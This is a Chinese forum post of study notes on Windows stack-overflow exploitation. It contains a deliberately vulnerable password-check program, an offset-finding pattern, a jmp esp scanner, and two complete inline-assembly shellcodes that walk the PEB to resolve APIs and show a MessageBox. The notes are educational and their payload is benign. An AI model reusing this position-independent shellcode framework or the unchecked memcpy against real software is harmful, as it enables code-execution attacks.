首页
社区
课程
招聘
[原创]漏洞学习_1 待删 不会传图片
2023-5-3 16:39 7998

[原创]漏洞学习_1 待删 不会传图片

2023-5-3 16:39
7998

0. 漏洞概述

名词解释

Vulnerability(脆弱性|漏洞)

我们通常把这类能够引起软件做一些“超出设计范围的事情”的bug 称为漏洞;

  1. 功能性逻辑缺陷(bug):影响软件的正常功能,例如,执行结果错误、图标显示错误等。
  2. 安全性逻辑缺陷(漏洞):通常情况下不影响软件的正常功能,但被攻击者成功利用

后,有可能引起软件去执行额外的恶意代码。常见的漏洞包括软件中的缓冲区溢出漏洞、网站

中的跨站脚本漏洞(XSS)、SQL 注入漏洞等。

Exploit

植入代码之前需要做大量的调试工作,例如,弄清楚程序有几个输入点,这些输入将最终

会当作哪个函数的第几个参数读入到内存的哪一个区域,哪一个输入会造成栈溢出,在复制到

栈区的时候对这些数据有没有额外的限制等。调试之后还要计算函数返回地址距离缓冲区的偏

移并淹没之,选择指令的地址,最终制作出一个有攻击效果的“承载”着shellcode 的输入字符

串。这个代码植入的过程就是漏洞利用,也就是exploit。

Shellcode

攻击代码

PayLoad

攻击载荷

漏洞挖掘

由于安全性漏洞往往有极高的利用价值,例如,导致计算机被非法远程控制,数据库数据

泄漏等,所以总是有无数技术精湛、精力旺盛的家伙在夜以继日地寻找软件中的这类逻辑瑕疵。

他们精通二进制、汇编语言、操作系统底层的知识;他们往往也是杰出的程序员,因此能够敏

锐地捕捉到程序员所犯的细小错误。

寻找漏洞的人并非全是攻击者。大型的软件企业也会雇用一些安全专家来测试自己产品中

的漏洞,这种测试工作被称做Penetration test(攻击测试),这些测试团队则被称做Tiger team

或者Ethic hacker。

从技术角度讲,漏洞挖掘实际上是一种高级的测试(QA)。学术界一直热衷于使用静态分

析的方法寻找源代码中的漏洞;而在工程界,不管是安全专家还是攻击者,普遍采用的漏洞挖

掘方法是Fuzz,这实际是一种“灰”盒测试。

漏洞分析

...

漏洞利用

...

1. 典型栈溢出实例

关闭GS DEP SAFFSEH等选项

// 典型栈溢出.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>
#include <string.h>
#define PASSWORD "password"

int VerfityPassword(char* pswPassword, int nSize)
{
	char szBuffer[50] = { 0 };
	memcpy(szBuffer, pswPassword, nSize);
	return strcmp(PASSWORD, szBuffer);
}
int main(int argc,_TCHAR* argv[])
{
	int nFlag = 0;
	char szPassWord[0x200] = { 0 };
	int nFileSize = 0;
	FILE *fp;

	LoadLibraryA("user32.dll");
	if (NULL==(fp=fopen("password.txt","rb")))
	{
		printf("打开文件失败");
		system("pause");
		return 0;
	}
	fseek(fp, 0, SEEK_END);
	nFileSize = ftell(fp);
	rewind(fp);//重新指向文件开头
	fread(szPassWord, nFileSize, 1, fp);
	nFlag = VerfityPassword(szPassWord, nFileSize);
	if (!nFlag)
	{
		printf("successful");
	}
	else
	{
		printf("error");
	}
	fclose(fp);
	system("pause");
    return 0;
}

编译代码,并在password.txt中输入字符串,在事件管理器-windwos日志-应用程序查看,(在实验过程之中)发现该错误偏移量不一定准确。

定位溢出点

A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7C8C9D0D1D2D3D4D5D6D7D8D9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H0H1H2H3H4H5H6H7H8H9I0I1I2I3I4I5I6I7I8I9J0J1J2J3J4J5J6J7J8J9K0K1K2K3K4K5K6K7K8K9L0L1L2L3L4L5L6L7L8L9M0M1M2M3M4M5M6M7M8M9N0N1N2N3N4N5N6N7N8N9O0O1O2O3O4O5O6O7O8O9P0P1P2P3P4P5P6P7P8P9Q0Q1Q2Q3Q4Q5Q6Q7Q8Q9R0R1R2R3R4R5R6R7R8R9S0S1S2S3S4S5S6S7S8S9T0T1T2T3T4T5T6T7T8T9U0U1U2U3U4U5U6U7U8U9V0V1V2V3V4V5V6V7V8V9W0W1W2W3W4W5W6W7W8W9X0X1X2X3X4X5X6X7X8X9Y0Y1Y2Y3Y4Y5Y6Y7Y8Y9Z0Z1Z2Z3Z4Z5Z6Z7Z8Z9
a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3c4c5c6c7c8c9d0d1d2d3d4d5d6d7d8d9
e0e1e2e3e4e5e6e7e8e9f0f1f2f3f4f5f6f7f8f9g0g1g2g3g4g5g6g7g8g9h0h1h2h3h4h5h6h7h8h9
i0i1i2i3i4i5i6i7i8i9j0j1j2j3j4j5j6j7j8j9k0k1k2k3k4k5k6k7k8k9l0l1l2l3l4l5l6l7l8l9
m0m1m2m3m4m5m6m7m8m9n0n1n2n3n4n5n6n7n8n9o0o1o2o3o4o5o6o7o8o9p0p1p2p3p4p5p6p7p8p9
q0q1q2q3q4q5q6q7q8q9r0r1r2r3r4r5r6r7r8r9s0s1s2s3s4s5s6s7s8s9t0t1t2t3t4t5t6t7t8t9
u0u1u2u3u4u5u6u7u8u9v0v1v2v3v4v5v6v7v8v9w0w1w2w3w4w5w6w7w8w9x0x1x2x3x4x5x6x7x8x9
y0y1y2y3y4y5y6y7y8y9z0z1z2z3z4z5z6z7z8z9

定位到溢出点,使得返回值为messagebox地址,并在其后给其附加参数0,0,0,0

通过x64dbg得到MessageBoxA地址为0x77ca0c10;弹出空白提示框。

但是我们的shellcode并不通用。

GetPC技术

Get Program Counter 获得程序计数器,在x86下可以理解为GetEIP 在很多情况下,由于我们不能确定自己的程序所在的位置,程序中的各种跳转,调用以及变量的访问就无法知道确切地址,因此需要GetPc技术获取当前的地址。

call方式--

|-优点 不会产生冗余指令
|-缺点 有很多0x00产生,在很多输入情况下不能直接使用,需要编码
00401000 E8 00000000 call 00401005
00401005 58          pop eax

|-不会产生0x00 大多数情况下可以直接使用,无需编码
|-会产生一条冗余指令 “inc edx” 在vs2015调试时代码有bug
00401000 e8 ffffffff   call 00401004
00401005 c3            retn
00401006 58            pop eax

FSTENV方式

x87浮点单元(FPU) 在普通x86架构中提供了一个隔离的执行环境,它包含一个单独的专用寄存器集合,当一个进程正在使用fpu执行浮点运算的是否,这些寄存器需要由操作系统在上下文切换时保存,

我们利用这个特点,通过获取其fpu_instruction_pointer这个成员的内容,进而得到上一条fpu指令所在的位置,

汇编指令FNSTENV这条指令可以将FPU的状态值保存在内存中,因此我们可以使用这条指令将FPU状态保存在esp-oc的位置,从而使得esp正好指向fpu-instruction-pointer

获得GetProcAddress、LoadLibrary

为了增强程序的通用性,我们可以通过以下知识解决。

  1. 一个进程所加载的所有模块信息都保存在一个PEB的结构中,我们可以通过索引此结构,找到Kernel32.dll的基址
  2. 然后通过搜索PE文件导出表的方式,在Kernel32.dll中找到我们所需要的关键函数,GetProcAddress()的地址
  3. 最后再使用GetProcAdress()获取到LoadLibarary的地址
  4. 有了GetProcAddress()与LoadLibrary(),其他的API都可以随意调用了。

--图来源 0day安全:软件漏洞分析技术P88


找到GetProcAddress()

  1. 通过FS寄存器找到当前的TEB
  2. 通过TEB偏移30的位置找到PEB的地址
  3. 通过PEB偏移0x0c的位置找到PEB_LAR_DATA的结构体指针。
  4. 通过PEB_LADR_DATA偏移0x1c找到此结构体的成员InInitializationOrderModuleList,此成员保存着模块链表的头部地址。
  5. InInitializationOrderModuleList按照顺序保存进程加载的模块地址,其中第一个始终为ntadll.dll,第二个是系统的不同可能保存有Kernel32.dll 或者 KernelBase.dll,的信息。
  6. 不管Kernel32.dll,或者KermelBase.dll,都导出有我们所需要的函数GetProcAddress();
  7. PE文件解析出GetProcAddress地址

跳板指令

那么这样我们可以避免去计算我们的shellcode偏移,只需要放置在溢出点下方,通过一个跳板指令指向我们的shellcode起始,但是此时还需注意,还存在retn情况,所以我们需要稳妥起见将下方填充16字节nop(0x90);增强健壮性,现在的关键在于找到跳板指令。

#include "stdafx.h"
#include <windows.h>
#define DLL_NAME "user32.dll"

int main()
{
    BYTE* ptr;
    int position, address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle = LoadLibraryA(DLL_NAME);
    if (!handle)
    {
        printf(" load dll erro !");
        exit(0);
    }
    ptr = (BYTE*)handle;
    for (position = 0; !done_flag; position++)
    {
        try
        {
            if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
            {
                //0xFFE4 is the opcode of jmp esp
                int address = (int)ptr + position;
                printf("OPCODE found at 0x%x\n", address);
                break;
            }
        }
        catch (...)
        {
            int address = (int)ptr + position;
            printf("END OF 0x%x\n", address);
            done_flag = true;
        }
    }
    return 0;
}

此函数通过搜索内存获得跳板指令所在的位置,可以在接下来的shellcode制作中改写为汇编进行调用。

调用shellcode

char bshellcode[]=""

__asm{

Lea eax,bshellcode

push eax

ret

}


阶段成果

	_asm {
		sub esp, 0x20;
		jmp tag_shellcode;
		//exitprocess \0
		//45 78 69 74  50 72 6F 63  65 73 73 
		_asm __emit(0x45) _asm __emit(0x78) _asm __emit(0x69) _asm __emit(0x74)
		_asm __emit(0x50) _asm __emit(0x72) _asm __emit(0x6f) _asm __emit(0x63)
		_asm __emit(0x65) _asm __emit(0x73) _asm __emit(0x73) _asm __emit(0x00)
		//User32.dll \0
		//55 73 65 72  33 32 2E 64  6C 6C 
		_asm __emit(0x55) _asm __emit(0x73) _asm __emit(0x65) _asm __emit(0x72)
		_asm __emit(0x33) _asm __emit(0x32) _asm __emit(0x2e) _asm __emit(0x64)
		_asm __emit(0x6c) _asm __emit(0x6c) _asm __emit(0x00) 

		//messageboxA \0
		//4D 65 73 73  61 67 65 42  6F 78 41
		_asm __emit(0x4D) _asm __emit(0x65) _asm __emit(0x73) _asm __emit(0x73)
		_asm __emit(0x61) _asm __emit(0x67) _asm __emit(0x65) _asm __emit(0x42)
		_asm __emit(0x6f) _asm __emit(0x78) _asm __emit(0x41) _asm __emit(0x00)

		//字符串hello \0
		//68 65 6C 6C  6F 0D 0A 
		_asm __emit(0x68) _asm __emit(0x65) _asm __emit(0x6c) _asm __emit(0x6c)
		_asm __emit(0x6f) _asm __emit(0x0d) _asm __emit(0x0a) _asm __emit(0x00)

		//"loadlibraryExa"
		//4C 6F 61 64   4C 69 62 72   61 72 79 45 78  \0
		_asm __emit(0x4C) _asm __emit(0x6F) _asm __emit(0x61) _asm __emit(0x64)
		_asm __emit(0x4C) _asm __emit(0x69) _asm __emit(0x62) _asm __emit(0x72) 
		_asm __emit(0x61) _asm __emit(0x72) _asm __emit(0x79) _asm __emit(0x45) 
		_asm __emit(0x78) _asm __emit(0x41) _asm __emit(0x00)

		//GetProcAddress
		//47 65 74 50   72 6F 63 41   64 64 72 65   73 73
		_asm __emit(0x47) _asm __emit(0x65) _asm __emit(0x74) _asm __emit(0x50)
		_asm __emit(0x72) _asm __emit(0x6F) _asm __emit(0x63) _asm __emit(0x41)
		_asm __emit(0x64) _asm __emit(0x64) _asm __emit(0x72) _asm __emit(0x65)
		_asm __emit(0x73) _asm __emit(0x73)

		//到此加5个字节 e8 00000000
		//GetPc
	tag_shellcode:
		call tag_next;                   //GetPc
	tag_next:
		pop ebx;
	tag_GetKernelBase:
		mov esi, dword ptr fs : [0x30];  //esi peb_addr
		mov esi, [esi + 0x0c];           //PEB_LAR_DATA
		mov esi, [esi + 0x1c];           //InInitializationOrderModuleList
		mov esi, [esi];                  //指向第二个条目,[esi]flink
		mov edx, [esi + 0x08];           //ebx-->dllbase kernel32.dll_base
		
		//获取GetProcAddress地址;
		push ebx;                        //BaseAddr
		push edx;                        //ImageBase
		call fun_GetProcAddress;         //eax GetProcAddress_addr
		mov esi, eax;

		push edx;
		//获取LoadlibraryEx地址
		lea ecx, [ebx - 0x22];           //"LoadLibraryEx"
		push ecx;
		push edx;
		call eax;                        //call GetProcAddress

		pop edx;

		push ebx;
		push esi;
		push eax;
		push edx;
		call tag_PayLoad;

		//int ImageBase,int BaseAddr
	fun_GetProcAddress:
		push ebp;
		mov ebp, esp;
		sub esp, 0x0c;
		push edx;
		mov edx, [ebp + 0x08];  //kernel32.dll _addr
		mov esi, [edx + 0x3c];  //image_dos_header.e_lfanew;
		lea esi, [esi + edx];   //文件头VA
		mov esi, [esi + 0x78];  //image_dir..Export.VirtualAddress;
		lea esi, [esi + edx];   //esi 导入表va
		mov edi, [esi + 0x1c];  //esi Image_Exp...ory.AddressOfFunction;
		lea edi, [edi + edx];   // edi   EAT_VA;
		mov[ebp - 0x04], edi;   //local_1  EAT_VA;
		mov edi, [esi + 0x20];  //edi Image_Exp..ory.AddressOfName
		lea edi, [edi + edx];   //edi ENT_VA;
		mov[ebp - 0x08], edi;   //local_2  ENT_VA;
		mov edi, [esi + 0x24];  //edi Image_Exp..ory.AddressOfNameOrdinals
		lea edi, [edi + edx];   //edi EOT_VA;
		mov[ebp - 0x0c], edi;   //local3  EOT_VA;
		xor eax, eax;
		jmp Loop_Frist;
	Loop_condition:
		inc eax;
	Loop_Frist:
		mov esi, [ebp - 0x08];    //local2 ENT
		mov esi, [esi + 4 * eax]; // ENT_RVA
		mov edx, [ebp + 0x08];    //edx param1(imagebase)
		lea esi, [esi + edx];     //ENT_VA
		mov ebx, [ebp + 0x0c];    //ebx param2(imageAddr)
		lea edi, [ebx - 0x13];    //edi  "GetProcAddress"
		mov ecx, 0x0e;            //ecx 字串长度
		cld;
		repe cmpsb;
		jne Loop_condition;       //如果不相等继续比对
								  //成功后找到对应序号
		mov esi, [ebp - 0x0c];    //esi local3 EOF
		xor edi, edi;
		mov di, [esi + eax * 2];  //这里eax*2需要思考一下
		                          //使用序号作为索引,找到函数名所对应的函数地址
		mov edx, [ebp - 0x04];    //local1(EAT)
		mov esi, [edx + edi * 4]; //找到对应的函数地址
		mov edx, [ebp + 0x08];    //param 1
		lea eax, [edx + esi];     //返回GetProcAddress
		pop edx;
		mov esp, ebp;
		pop ebp;
		retn 0x08;

		//(int Kernel32_base,int LoadLibraryEx,int GetProcAddress,int baseAddress)
	tag_PayLoad:
		push ebp;
		mov ebp, esp;
		sub esp, 0x08;
		mov ebx, [ebp + 0x14];   //param4 
		//获取messageboxA地址
		lea ecx, [ebx - 0x41];   //"User32.dll\0"
		push 0;
		push 0;
		push ecx;
		call[ebp + 0x0c];         //call loadLibrary
		lea ecx, [ebx - 0x36];    //"MessageboxA\0";
		push ecx;
		push eax;                 //user32 基址
		call[ebp + 0x10];         //call GetProcAddress
		mov[ebp - 0x04], eax;     //local1 MessageBox_addr
		//获取exitProcess 函数地址
		lea ecx, [ebx - 0x4d];    //"ExitProcess\0";
		push ecx;
		push [ebp+0x08];          //kernel32基址
		call[ebp + 0x10];         //call GetProcAddress
		mov[ebp - 0x08], eax;     //local1 ExitProcess_addr
		//调用
		lea ecx, [ebx-0x2a];    //"字符串"
		push 0;
		push ecx;
		push ecx;
		push 0;
		call[ebp - 0x04];
		push 0;
		call[ebp - 0x08]; //exitprocess
		mov esp, ebp;
		pop ebp;
		retn 0x10;
	}

进行编译,而后使用工具提取机器码,

优化shellcode

shellcode要足够短小,

短指令

xchg eax,reg 交换eax 和其他寄存器中的值

lodsd 把esi 指向的一个dword 装入eax,并且增加esi

lodsb 把esi 指向的一个byte 装入al,并且增加esi

stosd

stosb

pushad/popad 从栈中存储/恢复所有寄存器的值

cdq 用edx 把eax 扩展成四字。这条指令在eax<0x80000000 时可用作mov edx ,

NULL

复合指令

...

API调用方式

...

代码也可以当成数据

调整栈顶 变废为宝

hash压缩

#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
    DWORD digest=0;
    while(*fun_name)
    {
        digest=((digest<<25)|(digest>>7)); //循环右移7 位
        digest+= *fun_name ; //累加
        fun_name++;
    }
    return digest;
}
main()
{
    DWORD hash;
    hash= GetHash("AddAtomA");
    printf("result of hash is %.8x\n",hash);
}
mov ebx,[ebp-0x04]
shl ebx,0x19;
mov edx,[ebp-0x04];
shr edx,0x07;
or ebx,edx;
add ebx,eax;

阶段成果

// 通用的shellcode.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

int main()
{
	_asm {
		CLD; clear flag DF
		; store hash
		push 0x1e380a6a; hash of MessageBoxA
		push 0x4fd18963; hash of ExitProcess
		push 0x0c917432; hash of LoadLibraryA

		mov esi, esp; esi = addr of first function hash
		lea edi, [esi - 0xc]; edi = addr to start writing function
		; make some stack space
		xor ebx, ebx
		mov bh, 0x04
		sub esp, ebx
		; push a pointer to "user32" onto stack
		mov bx, 0x3233; rest of ebx is null
		push ebx
		push 0x72657375
		push esp
		xor edx, edx
		; find base addr of kernel32.dll
		mov ebx, fs:[edx + 0x30]; ebx = address of PEB
		mov ecx, [ebx + 0x0c]; ecx = pointer to loader data
		mov ecx, [ecx + 0x1c]; ecx = first entry in initialization
		; order list
		mov ecx, [ecx]; ecx = second entry in list
		; (kernel32.dll)
		mov ebp, [ecx + 0x08]; ebp = base address of kernel32.dll
		find_lib_functions :
		lodsd; load next hash into al and increment esi
			cmp eax, 0x1e380a6a; hash of MessageBoxA - trigger
			; LoadLibrary("user32")
			jne find_functions
			xchg eax, ebp; save current hash
			call[edi - 0x8]; LoadLibraryA
			xchg eax, ebp; restore current hash, and update ebp
			; with base address of user32.dll
			find_functions :
		pushad; preserve registers
			mov eax, [ebp + 0x3c]; eax = start of PE header
			mov ecx, [ebp + eax + 0x78]; ecx = relative offset of export table
			add ecx, ebp; ecx = absolute addr of export table
			mov ebx, [ecx + 0x20]; ebx = relative offset of names table
			add ebx, ebp; ebx = absolute addr of names table
			xor edi, edi; edi will count through the functions
			next_function_loop :
		inc edi; increment function counter
			mov esi, [ebx + edi * 4]; esi = relative offset of current
			; function name
			add esi, ebp; esi = absolute addr of current
			; function name
			cdq; dl will hold hash(we know eax is
				; small)
			hash_loop:
		movsx eax, byte ptr[esi]
			cmp al, ah
			jz compare_hash
			ror edx, 7
			add edx, eax
			inc esi
			jmp hash_loop
			compare_hash :
		cmp edx, [esp + 0x1c]; compare to the requested hash(saved on
			; stack from pushad)
			jnz next_function_loop
			mov ebx, [ecx + 0x24]; ebx = relative offset of ordinals
			; table
			add ebx, ebp; ebx = absolute addr of ordinals
			; table
			mov di, [ebx + 2 * edi]; di = ordinal number of matched
			; function
			mov ebx, [ecx + 0x1c]; ebx = relative offset of address
			; table
			add ebx, ebp; ebx = absolute addr of address table
			add ebp, [ebx + 4 * edi]; add to ebp(base addr of module) the
			; relative offset of matched function
			xchg eax, ebp; move func addr into eax
			pop edi; edi is last onto stack in pushad
			stosd; write function addr to[edi] and
			; increment edi
			push edi
			popad; restore registers
			; loop until we reach end of last hash
			cmp eax, 0x1e380a6a
			jne find_lib_functions
			function_call :
		xor ebx, ebx
			push ebx; cut string
			push 0x74736577
			push 0x6C696166; push failwest
			mov eax, esp; load address of failwest
			push ebx
			push eax
			push eax
			push ebx
			call[edi - 0x04]; call MessageboxA
			push ebx
			call[edi - 0x08]; call ExitProcess
			mov esp, ebp;
			pop ebp;
			retn 0x10;

	}
	return 0;
}

此段shellcode为 0day2 p92内容;



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-5-5 13:53 被john_大白编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回